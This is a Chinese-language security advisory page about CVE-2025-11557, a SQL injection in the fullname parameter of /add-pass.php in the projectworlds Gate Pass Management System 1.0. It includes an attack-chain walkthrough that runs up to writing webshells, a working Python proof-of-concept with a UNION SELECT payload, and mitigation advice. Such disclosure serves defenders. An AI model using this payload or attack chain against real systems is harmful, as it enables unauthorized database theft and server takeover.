IPBUF安全漏洞报告
English
CVE-2025-11557 CVSS 7.3 高危

CVE-2025-11557:Gate Pass管理系统SQL注入漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11557
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Gate Pass Management System

相关标签

SQL注入Gate Pass Management SystemprojectworldsCVE-2025-11557高危漏洞Web应用安全PHP未认证远程利用fullname参数add-pass.php

漏洞概述

CVE-2025-11557是projectworlds公司开发的Gate Pass Management System(门禁管理系统)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月9日被公开披露,CVSS评分为7.3分,属于高危级别漏洞。Gate Pass Management System是一款用于管理门禁通行记录的开源Web应用程序,主要功能包括访客登记、通行证发放与记录管理等。该漏洞存在于系统的/add-pass.php文件中,具体位于对fullname参数的处理逻辑中。攻击者可以通过构造恶意的SQL语句作为fullname参数的值,实现对后端数据库的未授权访问和操控。由于该漏洞无需认证即可远程利用,且利用代码已被公开披露,因此对部署该系统的组织构成了严重的安全威胁。攻击者可能利用此漏洞窃取数据库中的敏感信息(如用户凭证、门禁记录、个人信息等),甚至进一步获取服务器控制权限。该漏洞已被收录到VulDB漏洞数据库(ID: 327717),并有相关GitHub Issue记录其发现过程。

技术细节

该漏洞属于典型的SQL注入(SQLi)类型,其根本原因在于/add-pass.php文件在处理用户提交的fullname参数时,未对该参数进行充分的输入验证和参数化处理,直接将用户输入拼接到SQL查询语句中执行。

漏洞利用原理:
1. 攻击者通过HTTP POST请求向/add-pass.php端点发送数据,其中fullname参数包含精心构造的SQL注入payload;
2. 由于后端未使用预处理语句(Prepared Statements)或参数化查询,用户输入的恶意SQL片段被直接拼接到原始查询语句中;
3. 攻击者可以利用UNION SELECT语句提取数据库中的任意数据,或使用布尔盲注、时间盲注等技术逐步获取数据库内容;
4. 在某些数据库配置下,攻击者甚至可以利用堆叠查询(stacked queries)执行INSERT、UPDATE、DELETE等写操作,篡改或删除数据;
5. 若数据库用户权限配置不当,攻击者可进一步利用MySQL的INTO OUTFILE或LOAD_FILE()函数读取服务器敏感文件,或写入Webshell获取服务器权限。

利用条件:
- 攻击向量为网络(AV:N),无需本地访问;
- 无需任何认证(PR:N),未授权攻击者即可利用;
- 无需用户交互(UI:N),可自动化批量攻击;
- 对机密性、完整性、可用性均产生低级别影响(C:L/I:L/A:L)。

该漏洞的PoC已在GitHub上公开披露(QIU-DIE/CVE仓库Issue #6),降低了被恶意利用的门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎(如Shodan、Censys)或特定路径扫描,发现目标部署了projectworlds Gate Pass Management System 1.0,并定位到/add-pass.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/add-pass.php发送包含测试payload的POST请求,通过在fullname参数中插入单引号(')、' OR '1'='1等测试字符串,检测是否存在SQL注入漏洞。
STEP 3
步骤3:漏洞确认与利用
确认漏洞存在后,攻击者使用UNION SELECT、布尔盲注或时间盲注等技术构造恶意payload,通过fullname参数执行任意SQL查询。
STEP 4
步骤4:数据提取
利用SQL注入提取数据库中的敏感信息,包括管理员凭证、用户个人信息、门禁记录等。
STEP 5
步骤5:权限提升与持久化
若数据库权限足够,攻击者可读取服务器文件系统、写入Webshell,进一步获取服务器控制权限,实现持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11557 PoC - SQL Injection in Gate Pass Management System # Vulnerable endpoint: /add-pass.php # Vulnerable parameter: fullname import requests # Target configuration TARGET_URL = "http://target-host.com/add-pass.php" # SQL Injection payload targeting the 'fullname' parameter # This payload attempts to extract database version information SQL_PAYLOAD = "' UNION SELECT 1,version(),database(),user(),5,6,7,8-- -" def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in fullname parameter """ # Data to be submitted to the vulnerable endpoint data = { "fullname": payload, # Additional form fields may be required depending on the application "email": "[email protected]", "mobile": "1234567890", "address": "test", "reason": "test", "submit": "Submit" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for successful injection indicators if "MySQL" in response.text or "MariaDB" in response.text: print("[+] SQL Injection successful! Database information may be exposed in response.") return response.text else: print("[-] Injection may have failed or response doesn't contain expected indicators.") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-11557 - Gate Pass Management System SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {SQL_PAYLOAD}") print("-" * 60) result = exploit_sqli(TARGET_URL, SQL_PAYLOAD) if result: print("[*] Response received. Analyze output for extracted data.")

影响范围

projectworlds Gate Pass Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx的rewrite规则或Apache的mod_rewrite)限制对/add-pass.php的直接访问;2)部署WAF规则拦截常见的SQL注入payload;3)修改源代码,对fullname参数进行严格的输入过滤,仅允许字母、数字和特定安全字符;4)将数据库连接用户的权限降至最低,禁用INTO OUTFILE、LOAD_FILE()等危险函数;5)监控数据库日志,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表